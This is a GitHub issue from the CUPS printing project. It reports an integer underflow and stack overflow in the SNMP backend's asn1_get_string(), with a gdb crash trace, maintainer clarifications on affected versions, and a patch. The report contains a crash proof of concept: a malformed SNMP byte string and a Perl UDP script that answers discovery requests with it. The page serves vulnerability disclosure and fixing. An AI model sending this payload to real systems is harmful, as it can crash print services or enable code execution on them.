Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SNMP backend integer underflow/stack overflow in asn1_get_string() #2589

michaelrsweet opened this issue Nov 8, 2007 · 3 comments

SNMP backend integer underflow/stack overflow in asn1_get_string() #2589

michaelrsweet opened this issue Nov 8, 2007 · 3 comments


Copy link

@michaelrsweet michaelrsweet commented Nov 8, 2007

Version: 1.3.4 User: mike

A brief summary:

TITLE: CUPS Backend SNMP Remote Stack Overflow Vulnerability


VERSION: version 1.3.4 and Prior

PLATFORM: Many UNIX platforms

DESCRIPTION: There is a stack based integer overflow in asn1_get_string() in backend/snmp.c

RESULTS: An attacker could remotely execute code in the privilege level that CUPS runs in.
Wei Wang of McAfee AVERT Research

Complete details (including crash PoC):

    CUPS Backend SNMP Remote Stack Overflow Vulnerability

The vulnerability is caused by a signedness error within the "asn1_get_string()" function in backend/snmp.c when backend SNMP program processes SNMP responses with an asn1 encoded string. This is exploitable in some OS environments. Successful exploitation woul
d allow execution of arbitrary code. A failed exploit attempt would cause a program crash.

This problem can be exploited to cause a stack-based buffer overflow. The backend SNMP program broadcasts SNMP requests to discover network print servers. An attacker can reply with malformed SNMP responses to trigger this issue.

Affected Vendor:


Affected Products:

CUPS version 1.3.4 and Prior

Crash info:

(gdb) r
Starting program: /home/wwang/src/cups-1.3.3/backend/snmp
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x84a000
[Thread debugging using libthread_db enabled]
[New Thread -1208154448 (LWP 14351)]
_cupsGlobals(): globals_key_once=0
globals_init(): globals_key=0(0)
_cupsGlobals: allocating memory for thread...
cupsArrayAdd(a=0x98692d0, e=0x9869440)
cups_array_add(a=0x98692d0, e=0x9869440, insert=0)
cups_array_add: count=16
cups_array_add: append element at 0...
cups_array_add: a->elements[0]=0x9869440
cups_array_add: returning 1
cupsFileOpen(filename="/etc/cups/snmp.conf", mode="r")
INFO: Using default SNMP Community public
cupsArrayAdd(a=0x9869388, e=0x98694a0)
cups_array_add(a=0x9869388, e=0x98694a0, insert=0)
cups_array_add: count=16
cups_array_add: append element at 0...
cups_array_add: a->elements[0]=0x98694a0
cups_array_add: returning 1
httpAddrGetList(hostname="", family=AF_INET, service="(null)")
httpAddrString(addr=0x98695ec, s=0xbff79288, slen=32)
httpAddrString: returning ""...
httpAddrString(addr=0xbff7a4f8, s=0xbff7a3f8, slen=256)
httpAddrString: returning ""...

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208154448 (LWP 14351)]
0x008d368c in memcpy () from /lib/

(gdb) bt
#0 0x008d368c in memcpy () from /lib/
#1 0x08049801 in asn1_get_string (buffer=0xb

ff7dfff, bufend=Variable "bufend" is not available.
) at snmp.c:1069
#2 0x0804a772 in scan_devices (fd=6) at snmp.c:590
#3 0x00000000 in ?? ()



if 0 write by


snmp.c asn1_get_string integer overflow cups 1.3.4

packet->error = "No community name";

else if ((length = asn1_get_length(&bufptr, bufend)) == 0)

packet->error = "Community name uses indefinite length";



asn1_get_string(&bufptr, bufend, length, packet->community,


if ((packet->request_type = asn1_get_type(&bufptr, bufend))

002a: 30 38 tag=0x30 len=0x38

002c: 02 01 00 version:1 (0)

002f: 04 84 ff ff ff ff 69 63 community:public

len is 0xffffffff


my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";

use strict;
my $PF_INET=2;
my $port=161;
my $proto=getprotobyname('udp');
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
my ($Cmd);
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
bind (SOCKET,$addres);
my $rip=recv (SOCKET,$Cmd,100,0);
send (SOCKET,$payload,0,$rip) or die "send false";
print "$Cmd";

Copy link
Collaborator Author

@michaelrsweet michaelrsweet commented Nov 9, 2007 User: mike

To clarify the issue, this is an integer underflow which leads to an overflow of the string buffer.

The attached patch (good for both CUPS 1.2.x and 1.3.x) addresses this issue by flagging strings with negative lengths as errors and returning an empty string instead.

Copy link
Collaborator Author

@michaelrsweet michaelrsweet commented Dec 5, 2007 User: mike

Further clarification on this bug:

1. CUPS 1.3.x systems are NOT vulnerable by default since
   the snmp backend must be configured (via the snmp.conf file)
   with one or more Address lines.

2. CUPS 1.2.x systems are vulnerable by default, as they use a
   default "Address @LOCAL" line in the snmp.conf file.

3. CUPS 1.1.x systems are not vulnerable since they did not have
   the snmp backend.

Copy link
Collaborator Author

@michaelrsweet michaelrsweet commented Dec 17, 2007


Index: backend/snmp.c

--- backend/snmp.c (revision 530)
+++ backend/snmp.c (working copy)
@@ -1064,18 +1064,38 @@
char string, / I - String buffer /
int strsize) /
I - String buffer size */

  • if (length < strsize)
  • if (length < 0)
  • memcpy(string, *buffer, length);
  • /*
  • * Disallow negative lengths!
  • */
  • fprintf(stderr, "ERROR: Bad ASN1 string length %d!\n", length);
  • *string = '\0';
  • }
  • else if (length < strsize)
  • {
  • /*
  • * String is smaller than the buffer...
  • */
  • if (length > 0)
  •  memcpy(string, *buffer, length);
    string[length] = '\0';
  • /*
  • * String is larger than the buffer...
  • */

memcpy(string, buffer, strsize - 1);
string[strsize - 1] = '\0';

  • (*buffer) += length;
  • if (length > 0)
  • (*buffer) += length;

return (string);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
None yet

No branches or pull requests

1 participant